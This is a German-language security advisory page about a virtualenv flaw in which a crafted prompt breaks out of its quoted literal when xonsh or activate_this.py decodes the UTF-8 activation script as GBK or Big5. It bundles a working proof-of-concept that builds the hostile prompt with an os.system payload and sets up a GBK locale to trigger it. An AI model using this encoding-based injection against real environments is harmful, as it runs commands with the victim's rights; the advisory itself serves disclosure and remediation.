virtualenv: Xonsh-Aktivierungsliterale hängen vom Skript-Dekodierungs-Codec ab
Die Originalmeldung wurde seit der Erstellung dieser Erklärung geändert. Prüfen Sie die aktuellen technischen Daten und die Originalmeldung unten.
Zusammenfassung
Vom Aufrufer übergebener Prompt-Text kann im xonsh-Aktivierungsskript zu ausführbarer Syntax werden. Ein Angreifer muss den an virtualenv übergebenen Wert beeinflussen, und ein Benutzer muss die Umgebung anschließend aktivieren.
Betroffener Bereich
Xonsh liest ein UTF-8-Aktivierungsskript unter Verwendung einer älteren Multibyte-Kodierung wie GBK. Druckbare Nicht-ASCII-Bytes können die Art und Weise verändern, wie der Reader ein angrenzendes Anführungszeichen erkennt. Der Bericht betrifft die POSIX-Aktivierung. Eine Gefährdung durch nicht damit zusammenhängende Aktivatoren wird nicht nachgewiesen.
Angreifergesteuerte Eingabe
Der Angreifer kontrolliert Prompt- oder Zieldaten, die als Argument an virtualenv übergeben werden. Der Benutzer führt später ein Sourcing (source) des generierten Aktivierungsskripts durch.
Betroffener Code
Der relevante 21.14.8-Quellcode befindet sich in: xonsh quote(), UTF-8 template writer.
Mechanismus
Der Generator schreibt activate.xsh als UTF-8. Dessen quote() verwendete repr(), was druckbare Nicht-ASCII-Zeichen in der Datei belässt und ein eingebettetes Anführungszeichen mit einem Backslash maskiert. Xonshs source liest die Datei mittels $XONSH_ENCODING. Unter GBK oder Big5 enden die UTF-8-Bytes von 中 auf 0xad, was sich mit dem nachfolgenden 0x5c-Backslash zu einem einzigen dekodierten Zeichen verbindet. Der Backslash maskiert das Anführungszeichen folglich nicht mehr. Ein Prompt, der beide Arten von Anführungszeichen enthält, kann dann sein Python-String-Literal schließen und Befehle bereitstellen, die während der Aktivierung ausgeführt werden. Bei einer UTF-8-Quelltextdekodierung verbleibt derselbe Wert innerhalb des Literals.
Reproduktion und Nachweis
Der ursprüngliche Scanner-Fund, ANT-2026-PAUVP7YL, demonstrierte diesen Fehler auf Byte-Ebene in activate_this.py: Ein präparierter Prompt, der über exec(open(file).read(), ...) unter GBK geladen wurde, erzeugte eine Markierung, während UTF-8- und runpy.run_path-Kontrollen dies nicht taten. Der in dieser Sicherheitsmeldung behandelte xonsh-Pfad wurde im darauffolgenden, von den Betreuern bereitgestellten Review identifiziert. PR #3432 zeigt die xonsh-Quelltext-Dekodierungskette und ändert quote() zu ascii(), wodurch Nicht-ASCII-Zeichen als Escape-Sequenzen geschrieben werden. Der zugehörige Regressionstest kodiert das generierte Literal als ASCII, dekodiert es als GBK und prüft, ob ast.literal_eval den ursprünglichen Prompt zurückgibt.
Der Angriff erfordert die Kontrolle über den Prompt- oder Zielwert, eine betroffene xonsh-Quellkodierung und das spätere Sourcing der generierten Datei. Der ursprüngliche Reproduktionsfall für activate_this.py belegt für sich genommen noch keine Ausführung unter xonsh; dieses Ergebnis wird der separaten Überprüfung zugeschrieben. Bestehende activate.xsh-Dateien müssen nach dem Fix neu generiert werden.
Angriffssequenz
sequenceDiagram
participant A as Prompt supplier
participant V as virtualenv quote()
participant F as activate.xsh bytes
participant X as xonsh source
A->>V: 中 plus escaped quote and statements
V->>F: repr writes UTF-8 中 followed by backslash
alt XONSH_ENCODING is UTF-8
F->>X: backslash remains an escape
X-->>A: prompt remains data
else XONSH_ENCODING is GBK or Big5
F->>X: decoder consumes backslash as trail byte
X->>X: quote closes and statements run
end
Note over V,X: ascii() emits only ASCII bytes and preserves the literal
Reproduktionsdateien
Die folgenden Dateien stammen aus dem Scanner-Bericht für ANT-2026-PAUVP7YL. Sie wurden gegen den Commit a857a7823c73 im Scanner-Image getestet. Der Einstiegspunkt repro erwartet Begleitdateien unter /tmp/repro.d; Fälle, die Benutzer-IDs ändern, erfordern einen wegwerfbaren Container mit Root-Berechtigung. Die letzte Ausgabezeile lautet BUG, wenn das gemeldete Verhalten auftritt. Diese Dateien sind als Nachweis beigefügt und wurden für diese Aktualisierung der Meldung nicht erneut ausgeführt.
repro
#!/usr/bin/env python3
import os
import subprocess
import sys
from pathlib import Path
from shutil import rmtree
work = Path("/tmp/activate-this-gbk")
rmtree(work, ignore_errors=True)
work.mkdir()
env_dir = work / "venv"
marker = work / "MARKER"
# set up: a zh_CN.GBK locale, which the image does not ship
subprocess.run([sys.executable, "/tmp/repro.d/install_gbk_locale.py", work / "locales"], check=True)
utf8_session = {"PATH": os.environ["PATH"], "LANG": "C.UTF-8"}
gbk_session = {"PATH": os.environ["PATH"], "LANG": "zh_CN.GBK", "LOCPATH": str(work / "locales")}
# attacker: text that a tool relays as --prompt
# the payload's " makes repr() delimit with ' and write the prompt's own ' as \'
# 中 is e4 b8 ad in UTF-8; GBK reads e4 b8 as one character and ad 5c, ad plus that backslash, as the next
payload = f'__import__("os").system("touch {marker}")'
hostile_prompt = "中" + "';" + payload + "#"
# user: creates the environment with the virtualenv command
subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--prompt", hostile_prompt, env_dir], check=True)
activate_this = (env_dir / "bin" / "activate_this.py").read_bytes()
prompt_line = next(line for line in activate_this.splitlines() if line.startswith(b'os.environ["VIRTUAL_ENV_PROMPT"]'))
print(f"activate_this.py read as UTF-8: {prompt_line.decode('utf-8')}")
print(f"activate_this.py read as GBK: {prompt_line.decode('gbk')}")
assert not marker.exists(), "payload ran at creation time"
# trigger: the same program activates the environment, first in a UTF-8 session, then in a GBK one
activate = [sys.executable, "/tmp/repro.d/activate_with_exec_open.py", env_dir]
control = subprocess.run(activate, env=utf8_session, stdout=subprocess.PIPE, encoding="utf-8", check=True)
ran_in_utf8_session = marker.exists()
print(f"CONTROL UTF-8 session: {control.stdout.strip()}; {marker} exists: {ran_in_utf8_session}")
observed = subprocess.run(activate, env=gbk_session, stdout=subprocess.PIPE, encoding="gbk", check=True)
ran_in_gbk_session = marker.exists()
print(f"OBSERVED GBK session: {observed.stdout.strip()}; {marker} exists: {ran_in_gbk_session}")
# check: the prompt is data and must not run in either session
print("BUG" if ran_in_gbk_session and not ran_in_utf8_session else "OK")
repro.d/activate_with_exec_open.py
#!/usr/bin/env python3
# usage: activate_with_exec_open.py ENV_DIR
# A program that activates a virtualenv the way activate_this.py's docstring said to until virtualenv 20.26.2.
import locale
import os
import sys
this_file = os.path.join(sys.argv[1], "bin", "activate_this.py")
exec(open(this_file).read(), {"__file__": this_file})
print(f"open() decodes as {locale.getpreferredencoding(False)}, VIRTUAL_ENV_PROMPT is {os.environ['VIRTUAL_ENV_PROMPT']}")
repro.d/install_gbk_locale.py
#!/usr/bin/env python3
# usage: install_gbk_locale.py LOCPATH
# Does what `locale-gen zh_CN.GBK` would; the image has glibc's localedef but no charmap or locale sources.
import os
import subprocess
import sys
locpath = sys.argv[1]
os.makedirs(locpath)
charmap = ["<code_set_name> GBK", "<comment_char> %", "<escape_char> /", "<mb_cur_min> 1", "<mb_cur_max> 2", "CHARMAP"]
charmap += [f"<U{byte:04X}> /x{byte:02x}" for byte in range(0x80)]
for lead in range(0x81, 0xFF):
for trail in range(0x40, 0xFF):
try:
char = bytes([lead, trail]).decode("gbk")
except UnicodeDecodeError:
continue
charmap.append(f"<U{ord(char):04X}> /x{lead:02x}/x{trail:02x}")
charmap.append("END CHARMAP")
with open(f"{locpath}/GBK.charmap", "w") as charmap_file:
charmap_file.write("\n".join(charmap) + "\n")
# -c: the source has no LC_TIME, LC_MONETARY, ...; localedef fills in defaults, warns and exits 1, so check the result below
source = "/tmp/repro.d/zh_CN_minimal.locale"
subprocess.run(["localedef", "-c", "-f", f"{locpath}/GBK.charmap", "-i", source, f"{locpath}/zh_CN.GBK"], capture_output=True)
gbk_session = {"PATH": os.environ["PATH"], "LANG": "zh_CN.GBK", "LOCPATH": locpath}
codeset = subprocess.run(["locale", "charmap"], env=gbk_session, capture_output=True, text=True, check=True)
if codeset.stdout.strip() != "GBK" or codeset.stderr:
sys.exit(f"zh_CN.GBK locale not usable: {codeset}")
repro.d/zh_CN_minimal.locale
comment_char %
escape_char /
% Stand-in for glibc's locales/zh_CN: ASCII character classes only. What matters is the codeset name, GBK, which
% comes from the charmap given to localedef with -f.
LC_CTYPE
upper <U0041>..<U005A>
lower <U0061>..<U007A>
digit <U0030>..<U0039>
space <U0009>..<U000D>;<U0020>
cntrl <U0000>..<U001F>;<U007F>
punct <U0021>..<U002F>;<U003A>..<U0040>;<U005B>..<U0060>;<U007B>..<U007E>
xdigit <U0030>..<U0039>;<U0041>..<U0046>;<U0061>..<U0066>
blank <U0009>;<U0020>
END LC_CTYPE
LC_COLLATE
order_start forward
UNDEFINED
order_end
END LC_COLLATE
Auswirkungen
Eine betroffene Aktivierung kann Befehle mit den Rechten des Benutzers ausführen. Der Schweregrad ist hoch (High), entsprechend dem Präzedenzfall für generierte Skripte in GHSA-p58f-9548-mpm2. Der Angriff erfordert die Kontrolle über Argumentdaten und eine anschließende Aktivierung durch den Benutzer; er erfordert weder das Ersetzen einer ausführbaren Datei noch die Kontrolle über Inhalte von App-Daten.
Getestete Versionen
Die nachfolgende Überprüfung kennzeichnet die Befehlsausführung als durch ihren Autor unabhängig bestätigt. Das Implementierungs-Review nutzte Quellcode-Inspektion und Prüfungen gepatchter Literalwerte, ohne diesen Exploit erneut auszuführen. Der relevante Aktivierungsquellcode ist zwischen Release 21.14.8 und upstream/main 233359cb identisch. Der Betreuer bestätigte zuvor die Validierung der gemeldeten Ergebnisse auf 21.14.8. Die erste betroffene Version ist nicht ermittelt. Behoben in 21.14.9.
Bekannte Abhilfemaßnahmen
Verwenden Sie vertrauenswürdige Prompt- und Zielwerte. Verwenden Sie die UTF-8-Quelltextdekodierung in xonsh auf älteren Versionen. Erstellen Sie Umgebungen mit virtualenv 21.14.9 oder neuer neu.
Betroffene Version
- Das Problem lässt sich auf virtualenv 21.14.8 reproduzieren.
Danksagung
Der ursprüngliche Bericht wurde von Anthropic's OSS Scanner als ANT-2026-PAUVP7YL bereitgestellt. Das anschließende, vom Betreuer durchgeführte Review identifizierte den verbleibenden Aktivierungspfad.
Zusätzlicher Fix-Branch
PR #3411 verwendet neben den Änderungen am Aktivierungsstatus ebenfalls reine ASCII-Literale für Pfade und Prompts. Beide Branches müssen diese Quoting-Regel beibehalten, wenn sie integriert werden.
Was zu tun ist
Verwenden Sie vertrauenswürdige Werte für Prompts und Zielpfade. Nutzen Sie bei älteren Versionen die UTF-8-Quelltextdekodierung in xonsh. Aktualisieren Sie auf virtualenv 21.14.9 (oder 21.14.9 bzw. neuer) und erstellen Sie bestehende Umgebungen neu, um die betroffenen activate.xsh-Dateien neu zu generieren.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Python (PyPI) | virtualenv | >= 21.3.0, < 21.14.9 | 21.14.9 |
Verweise
- https://github.com/pypa/virtualenv/security/advisories/GHSA-394h-qwmc-48pf
- https://nvd.nist.gov/vuln/detail/CVE-2026-113718
- https://github.com/pypa/virtualenv/pull/3432
- https://github.com/pypa/virtualenv/commit/e5fc2e6e189a877ff559af288919e3525d13e5e0
- https://github.com/pypa/virtualenv
- https://github.com/pypa/virtualenv/releases/tag/21.14.9
- CVSS-Vektor
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H- Schwäche (CWE)
CWE-94- Plattform
- Python (PyPI)
- Paket
virtualenv- Veröffentlicht
- 20.10.2026
- Aktualisiert
- 18.11.2026 14:17
Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.
OSV / GitHub Advisory Database - PYSEC-2026-4377 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-394h-qwmc-48pf - CC BY 4.0
Schwachstellenhistorie: virtualenv
Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 21
- Erste → letzte
- 12.2011 10.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Hoch 13
- Mittel 8
Veröffentlichungen pro Jahr
- 2017: 0
- 2018: 0
- 2019: 0
- 2020: 0
- 2021: 0
- 2022: 0
- 2023: 0
- 2024: 1
- 2025: 0
- 2026: 19
früher: 1
-
virtualenv: Xonsh-Aktivierungsliterale hängen vom Skript-Dekodierungs-Codec ab dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.